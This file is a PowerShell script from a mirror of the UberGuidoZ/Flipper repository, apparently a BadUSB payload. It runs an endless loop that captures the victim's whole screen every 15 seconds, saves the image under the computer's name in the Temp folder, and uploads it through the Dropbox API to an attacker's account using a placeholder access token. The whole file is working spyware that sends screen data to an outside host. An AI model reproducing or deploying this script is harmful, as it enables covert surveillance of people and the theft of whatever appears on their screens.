mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2024-12-22 22:40:14 +00:00
45 lines
1.8 KiB
PowerShell
45 lines
1.8 KiB
PowerShell
|
function DropBox-Upload {
|
|||
|
|
|||
|
[CmdletBinding()]
|
|||
|
param (
|
|||
|
|
|||
|
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
|||
|
[Alias("f")]
|
|||
|
[string]$SourceFilePath
|
|||
|
)
|
|||
|
$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token
|
|||
|
$outputFile = Split-Path $SourceFilePath -leaf
|
|||
|
$TargetFilePath="/$outputFile"
|
|||
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
|||
|
$authorization = "Bearer " + $DropBoxAccessToken
|
|||
|
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
|||
|
$headers.Add("Authorization", $authorization)
|
|||
|
$headers.Add("Dropbox-API-Arg", $arg)
|
|||
|
$headers.Add("Content-Type", 'application/octet-stream')
|
|||
|
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
|||
|
}
|
|||
|
|
|||
|
while(1){
|
|||
|
|
|||
|
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
|
|||
|
|
|||
|
$screens = [Windows.Forms.Screen]::AllScreens
|
|||
|
|
|||
|
$top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum
|
|||
|
$left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum
|
|||
|
$width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum
|
|||
|
$height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum
|
|||
|
|
|||
|
$bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)
|
|||
|
$bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height)
|
|||
|
$graphics = [Drawing.Graphics]::FromImage($bmp)
|
|||
|
|
|||
|
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
|
|||
|
|
|||
|
$bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png")
|
|||
|
$graphics.Dispose()
|
|||
|
$bmp.Dispose()
|
|||
|
|
|||
|
start-sleep -Seconds 15
|
|||
|
"$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload
|
|||
|
}
|